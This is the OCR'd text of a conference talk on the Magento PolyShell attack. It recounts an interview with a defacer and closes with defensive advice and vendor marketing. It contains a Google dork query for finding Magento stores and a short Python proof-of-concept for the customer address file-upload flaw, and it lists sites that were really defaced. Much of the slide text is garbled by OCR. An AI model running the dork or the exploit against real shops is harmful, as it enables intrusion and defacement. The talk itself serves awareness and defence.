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Interview with a Hacker:
How Magento PolyShell was Born

Based On The Blog

| Tracked Down The Hacker Behind a Magento
PolyShell Attack. Here's What They Told Me.

A
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Proudly supporting Mage-0OS contributors — limited lifetime free access. Mage-0OS contributors, please reach out. Terms, policies, and FAQ are still being finalized.
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¢ STOREFRAME.IO =
. An Al-Native eCommerce

An Al-Native eCommerce Infrastructure Infrastructure.

A unified control plane featuring a browser-based Claude Code shell.

[ ]
®
[
A Ite rn a tl Ve to o H LIJ P E R N O D E Purposely built around Magento, fully containerized and automated with real-time observability.
GET STARTED BOOK A DEMO

3-day free trial, no card required.
Starting from €50/month. Claude Code shell powered by your own Claude subscription.

a Laurentius Judhianto

]é‘l FO un d e r’ P | a tfo rm E N g | neer CONSOLE ® OVERVIEW TRAFFIC ANALYTICS SECURITY CONTAINERS LOGS DEPLOYMENTS

Briwg Magew’co and O‘Pemtiows
closer together through Al and
infrastructure
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MISSION

Let's Make You All
a Hacker for One Day

Have | hack a site? am | a hacker?
Whats hacking within “the eye” of a Magento developer?

DISCLAIMER
“Like any other Hacker says”
--- This is for Education Purpose Only ---

A
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who kwnow’s this?

Who's familiar with AN
Vibecoding”?

Cursor / OpenCode / Claude Code VibehaCking?

®J CURSOR Claude OPERCOOE Kali mix Claude Code - OpenCode

Claude OpERCOOB

Docker and the contaiLners
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JOIN FREECTF  GETKALI BLOG  DOCUMENTATION v COMMUNITY v COURSES  DEVELOPERS ¥  ABOUT v

Only 3 Steps

All Kali Tools

Tool Documentation

Want to learn more about a tool? Search for it here!

for Vibehacking

1. Run a Kali Linux (in a laptop / vm / proxmox)

5 :: Source | @ :: Package | $:: Command

(0 categories [] Top 100 (®) All tools

. 0 E J M Q T
2. Install Claude Code via bash ——
$ Otrace.sh = eapmd5Spass $ jadx ] macchanger @ gemu-block-extra =] tailscale
d $ sendprobe =1 edb-debugger $ jadx-gui =] magicrescue @ gemu-guest-agent $ tailscale
° p p y O r n rop ’ c $ usleep @ edb-debugger & javasnoop $ dupemap $ gemu-ga $ tailscaled
$ edb B jboss-autopwn $ magicrescue @ gemu-system & tcpdump
@ edb-debugger-plugins $ jboss-linux *magicsort @ qemu-system-arm &= tepflow
7/ 1 eksctl $ jboss-win =] maltego $ gemu-system-aarch64 @ tcpflow
& email2phonenumber & jd-qui '] maltego-teeth $ gemu-system-arm $ tepflow
Bl 7zip = emailharvester Eljohn i i A B $ tepflow
@ 7zip & enumdlinux @ john ] maskprocessor PSR REISrT @ tcpflow-nox
i $ mp32 $ gemu-system-armhf
$72 S enumélinux-ng SS[EUmp " @ gemu-system-common b
J t | t A I d l t I | t R $7za | enumiax $ base64conv $ mp64 I : h | B tepick
+ + ; i 3 emu-pr-helper
u S e O I a S e p S e C O n $7zr Bl ethtool $ bitlocker2john R $q pe pm r: var B tcpreplay
$ p7zip - g $ calc_stat ] massdns SR RS )
i =] ettercap . _ , $ tcpbridge
B 7si5<tandilona $ cprepair 7 mc D gemu-system-data ;
° ° ) 7' LAstenap-rommon $ dmg2john & me v A— $ tcpsaplnfo
ttps://www.Kall.org/tools/all-tools “ B atearcap-graphical S apmstojonn : i
$ mc tcppre
$ ettercap $ genmkvpwd P $ gemu-system-mips $ tcgfeplzay
$ ettercap-pkexec $ 2john 2 -mi
B i PP . gpg ) ! ¢ mradit $ gemu-system-mips64 $ tcorenlav-edit

storeframe.io Laurentius Judhianto
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% STOREFRAME.IO

The Polyshell Maker Setup

1. Windows laptop running Phyton

2. Free ChatGPT
3. Subscribed to CVE - CVSS reporting sites

== Windows ChatGPT @ python

Zero Magento Knowledge

Zero Local Setup
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experienced coder noob hacker
vibe coding vibe hacking

£ A

.

wtf this thing can't lol in 5 min, | am now
even set up a database Anonymous

“They Only Need to be Right Once!”

Given the right setup, anyone can become a Hacker
Given the right experience, a Hacker becomes their 100x

storeframe.io Laurentius Judhianto linkedin.com/in/laurnts/
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So Let Me Introduce
The Hacker Codename

"LaggerGhost”




Meet Magento DE Interview with a Hacker: How Magento Polyshell was Born Pyramide, Mainz

« laggerghost o Q

Hacked by L4663R666HO5T x Simsimi x Brokenpipe & Typical Idiot Security 193 posts
httpS . //umbra ) st/L4663r‘666h05t Total notifications: 13,657 of which 5,366 single ip and 8,291 mass defacements
https://umbra.st/BROKENPIPE fﬁgﬁwwe“h&mmt
httpS . //X - COHI/ L4663 r666h05t M - Mass defacement (click to view all defacements of this IP)
R - Redefacement (click to view all defacements of this site)
https://t.me/laggergod L - IP address location
W - Special defacement (special defacements are important websites)
Date Notifier HMRL 7 Domain oS View
G t . 2026/03/11 L4663R666H0ST hpspareparts.gtc.co.id/pub/med... Linux mirror
reetz. 2026/03/11 L4663R666H0OST M == tribu-beach.com/media/customer... Linux mirror
Dabialzap, Nicotine, Dijehaji, Hmei7, Jundab, s13doel 2026/03/1* ~<66HOST M ™8 try-zip.com/media/customer_add... Linux mirror
wonka, Pys4e4, civilian, SOI"I1X, 13c|_|m037 2226’ ‘05T M ; tummy-tlox.nI,/mec(jjla//'customer ad... tinux mirror
% = M =i unicoinul.com/media/customer_a... inux mirror
Traccert, LCR999X, cyberbug, ceyen, Mr.Vendetta 404, UnM@SK 2 M R ™5 unitecparts.com/media/customer... Linux mirror
M | uwt.de/media/customer_address/... Linux mirror
M = vapesuae.com/media/customer ad... Linux mirror

TIS Crew:

Gab - Natz - Xtech Inc - Dr Max Virus - Beatrix

Xarnuz - Kuroi'SH - Zakix - Prosox - D!S4BL3D - vAmpirind56 - eno?
Dox3 - Notformated - ssh-2 - Master Italian Hackers Team

And All old member of Typical Idiot Security

All crew: IaggerghOSt

JavaneseTeam, Typical Idiot Security, Kecoak Elektronik @l4663r666h05t
Indonesian Code Party, Idiot Crew, NETTOXIC.

Official account of L4663r666h05t - 2k14

© Indonesia (2! zone-h.org/archive/notifi... Joined October 2019 >

112 Following 217 Followers

Not followed by anyone you’re following

Disclosure by Claimed to be La?,?erghost.
L

% STOREFRAME.IO cawn be Fake Profile, Who Knows

For me, this is an opportunity I’'ve been waiting for. To talk to an actual hacker in my native language
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HMRL 7 Domain

M B W skills.education.nsw.gov.au/me...

M =i ¥ mcprod.education.nsw.gov.au/me...
[: ¥ supply.unicef.org/media/custom... ]
=] ¥ ducatiamsterdam.nl/media/custo...

M  &l@ ¥ store.my.canon/media/customer ...

M = recambios.isuzu.es/media/custo...

M = ¥ ricambi.isuzu.it/media/custome...

M s W store.fiat.fr/media/customer _a...

M ald W theoriginals-store.renault.com...
=] ¥ newstoreprecdn.benq.com//media...

M ESE unileverpro.com.br/media/custo...

M mla ¥ br.store.asus.com/media/custom...
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N
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Pyramide, Mainz

The list of mass-distributed
attacks recorded in ZoneH

The credits-scripts went in
the media/customer_*
involved with guest upload
address.

Keep in mind that Magento
doesn’t provide GUI for an
address upload.

Hacker didn’t know Lt too

linkedin.com/in/laurnts/
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GOOgle inurl:/customer/account/create/ + site:nl + "My Cart" + after:2025

Using Google Dorking:
To build list of targets

WAYS.ni . .
https://ways.nl » customer » create - Translate this page T h | S m et h O d | S O n e Of t h e O I d e St

Create New Customer Account - WAYS.nl trick and one of the most

18 Apr 2026 — We use our own cookies as well as third-party cookies on our websites to enhance your

experience, analyze our traffic, and for security and marketing. Select " ... Read more effeCtive in bU||d|ng ||St Of
possible targets for any hackers

Romex
https://www.romex.nl » create - Translate this page

Nieuw account aanmaken - Romex BV

11 Mar 2026 — Winkelwagen 10 of O products in cart displayed. Winkelwagen is leeg. Bezig met ... Allow GO Ie
remote shopping assistance. This allows merchants to "see what ... Read more

Spiegelverwarming Kopen
hitps://www.spiegelverwarming4u.nl » .. Translate this page

Creeéer nieuw klantaccount

26 Mar 2026 — my cart 0. Creéer nieuw klantaccount. Checkout as a new customer. Creating an !-'C C!OOQ Lc FD M'V\’d 3 ow,
account has many benefits: See order and shipping status; Track order history ... Read more Tl/l CH FD '/U/\/d g o Too

Spray and Pray. No specific target, who ever Google catches

storeframe.io Laurentius Judhianto linkedin.com/in/laurnts/



Meet Magento DE Interview with a Hacker: How Magento Polyshell was Born Pyramide, Mainz

— \

qoogle oww site s also a target
Scaw here for proof

& yourmerch.google/media/cust X g

C M (0 22 | your.merch.google/media/customer_address/T/I/TIS.txt

. Google
Hacked by L4663R666HO5T x Simsimi x Brokenpipe & Typical Idiot Security
https://umbra.st/L4663r666he5t

https://umbra.st/BROKENPIPE

https://x.com/L4663r666h05t

https://t.me/laggergod

Google

New Brands v  Apparel v Bags & Accessories v  Lifestyle v Collections v  Giftldeas v Sale Gift Cards v O\ ' ! e

Greetz:

Shopping Options New Coming soon

Dabialzap, Nicotine, Dijehaji, Hmei7, Jundab, sl13doelL Q Q Q
Wonka, PYS404, civilian, sonlx, 13CHMOD37 - N
Traccert, LCR999X, cyberbug, ceyen, Mr.Vendetta 404, UnM@SK
Colour -
TIS Crew:
Gab - Natz - Xtech Inc - Dr Max Virus - Beatrix — i
Xarnuz - Kuroi'SH - Zakix - Prosox - D!S4BL3D - vAmpirin456 - eno7
Dox3 - Notformated - ssh-2 - Master Italian Hackers Team . M
And All old member of Typical Idiot Security
Fit -
All crew:
JavaneseTeam, Typical Idiot Security, Kecoak Elektronik s o i
Indonesian Code Pa r‘ty, Idiot Crew, NETTOXIC. Google G Insulated Capri Bottle Google Black Shoreline Tee Stan Dino Tee
re ¥ £29.00 £30.00 £26.00
’ Sustainability +
D LS O LOS l/(— Ve b 5 Coming soon Sale
Community e : v : & a &
% STOREFRAME.IO i ) i
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iImport requests
import io
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) Rela tively simple - short AP/ call.
def run_poc(target):
url = f"{target.rstrip('/")}/customer/address_file/upload"
file_content = "Pentest by ManadoGhost - Google" The newer iteration involve more complex

s = requests.Session() calls to determine if the injected script can

files ={ ]
‘custom_attributes[country_id]" (‘hi-google-poc.txt', io.ByteslO(file_content.encode()), be runned to gain

‘text/plain’) webshell or RCE.
}
data = {'form_key" 'manadoghost'}
s.cookies.set("form_key", "manadoghost")
print(f"[!] Target: {url}")

RCE and PSP swap are the worst

try: Being runned from a C2 server
r = s.post(url, data=data, files=files, verify=False) (remote host of previously hacked site)
print("\n-— REQUEST —--") . :
orint(FURL: {url}") The one we trace was originating from Japan

print(f"Data: {data}")
print("\n--- RESPONSE ---")
print(f"Status Code: {r.status_code}")
print(f"Response Body: {r.text}")
except Exception as e:
print(f"['] Error: {e}")
if name == "main":
run_poc("https://yourdomain.ltd"/

This is the original script,
and still works today!

@ python

storeframe.io Laurentius Judhianto linkedin.com/in/laurnts/
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% STOREFRAME.IO

API is sitting at the very top of the
automated attack vector, while
large enterprises targeted via

Credential Stealer

™ Laurentius Judhianto
‘f’“ Founder, Platform Engineer
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FINANCIAL TIMES

Nationaal Cyber Security Centrum (NCSC-NL) @ + Follo
10h - Edited - ®

Cyber warfare <+ Add to myFT>

tructure Ernstige kwetsbaarheid in Adobe Commerce en Magento actief misbruikt: update

Japan declares cyber space onmiddelijk

emergency aS attaCkS SOar Er is een zeer ernstige kwetsbaarheid, CVE-2026-75650, gevonden in Adobe

= Commerce en Magento met een maximale CVSS-score van 10.0. Met deze
medlcare Dozens of 1a rgets including car rental operators, . 9 kwetsbaarheid is het mogelijk voor een aanvaller om op afstand zonder dat een
merce gebruiker iets hoeft te doen code uit te voeren. Adobe meldt dat deze

barbecue chains and rail group JR East disclose
data leaks

Berli hacked
er ln gOt ac e )} kwetsbaarheid al actief wordt misbruikt. Het is belangrijk om de door Adobe
- ¥ uitgebrachte updates zo snel mogelijk te installeren om risico’s te beperken.
and it shouldn't
E Lees verder op onze website: https://Inkd.in/eyEVTO9wy
have been this easy

A massive system breach is
' often just one click away. "

in te:_\

maRrche

134 Show translation

¢

The turopean Eoprespondent 14

L. Start Premium Page for €0

Albert Heijn & Adveriseon Linkedi Actief misbruik
See visitor analytics - ern St | ge
|:||:|E|'||:|:||:|E n i kwetsbaarheid in
o Adobe Commerce
Bl et en Magento
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4 STOREFRAME.IO

3 Tips

How to Survive
The Next Wave of
Magento ZeroDays

™ Laurentius Judhianto
"?’“ Founder, Platform Engineer

storeframe.io Laurentius Judhianto linkedin.com/in/laurnts/
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Close unused or block open ports & public API
within your Magento webshop.

Tips No1:
The ultimate security is to lock everything
S C a n & P rO t e Ct and unlock the one you really need.

YO U r E n d Il PO i n tS Most of (if not all of) Magento ZeroDay

attacks came from API based attacks.

™ Laurentius Judhianto
.ﬂ?“ Founder, Platform Engineer

Mage-OS Sansec)

Follow these Blogs

storeframe.io Laurentius Judhianto linkedin.com/in/laurnts/
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Patching within the hours are getting more

Ti ps N O 2: iImportant. | know this is a boring expensive.
P atC h Wit h i n H O u rS To keep it upda.tedtagd ptahtched Wi;h :\I is

. easier today than ever before.
of Public Exposure

This is a Magento tech tax

™ Laurentius Judhianto
.i“é Founder, Platform Engineer Mage-OS 0 CURSOR Claude

t’s easter to patch these dags

storeframe.io Laurentius Judhianto linkedin.com/in/laurnts/
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1 site hacked (doesn’t matter) Magento /
Wordpress / Native, the cPanel isolation

Ti ps N O 3: won’'t contained the hack.

AVO i d C P a n e | ' A p a C h e Avoid running Magento with this setup
° at all cost.
and LiteSpeed

The hacker then demonstrated how easy it’s

ﬁ Laurentius Judhianto to breach cPanel - Wordpress to gain RCE
‘i Founder, Platform Engineer

% STOREFRAME

\(QPEI\RESTY NGINX  §ig Crowd

At Least few layers of Seourita
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)

Top Ranked Hacker LA

BugCrowa
The
Secure
We're gonna need to Disclosure

Fight Al
with Al

Jasson Haddix
CEO & Hacker
Arcanum Information Security

The Future of
Hacking is Agentic.

storeframe.io Laurentius Judhianto linkedin.com/in/laurnts/
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Thank You

Interview with a Hacker: How Magento Polyshell was Born

™ Laurentius Judhianto
‘f’“ Founder, Platform Engineer

Follow / Conwnect
My Linkedin

storeframe.io

Visit § Read
MYy Blog

% STOREFRAME

Oct 14, 2026 - 11 min read

Features v Services v Solutions v Resources v Pricing

& STOREFRAME

After Building StoreFrame in
NEXT.js, Headless Magento

Will Make a Big Comeback

™ Laurentius Judhianto
"’“ Founder, Platform Engineer

PWA Studio, Vue Storefront, GraphCommerce, Rapidez, Breeze and Hyva: why
headless Magento kept losing to cost, and why Al that writes JavaScript fluently may

finally flip the verdict.

Read Article 7

..........

Oct 07, 2026 - 5 min read

Why We Migrated All Our
Customers to Mage-0S. What Is
Mage-OS Anyway, Compared to
Magento 27

™ Laurentius Judhianto
"“ Founder, Platform Engineer

Every Magento merchant asks whether the platform
will still be here, and still be free, in five years. We
stopped answering shop by shop and moved every
customer to Mage-0S. Here's why.

Read Article 7

Laurentius Judhianto

uuuuuuuuuu

Oct 06, 2026 - 8 min read

Self-Hosted Proof of Work with
ALTCHA: A Turnstile Alternative
for Magento

™ Laurentius Judhianto
«llay Founder, Platform Engineer

One decision saved us setup time on every store, kept

catalogue pages fast and stopped more bots: a self-
hosted, Turnstile-style challenge that installs itself.

Read Article 7

Pyramide, Mainz

LOGIN GET STARTED

s
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g '\ v
+
+

..........

Oct 02, 2026 - 6 min read

How to Build a Bot Scoreg
Signals That Separate
from Shoppers

™ Laurentius Judhianto
iy Founder, Platform Engineer

More than ten detectors score
anything is decided. Here is t
each signal is bad at, and the
on the way.

Read Article 7

linkedin.com/in/laurnts/




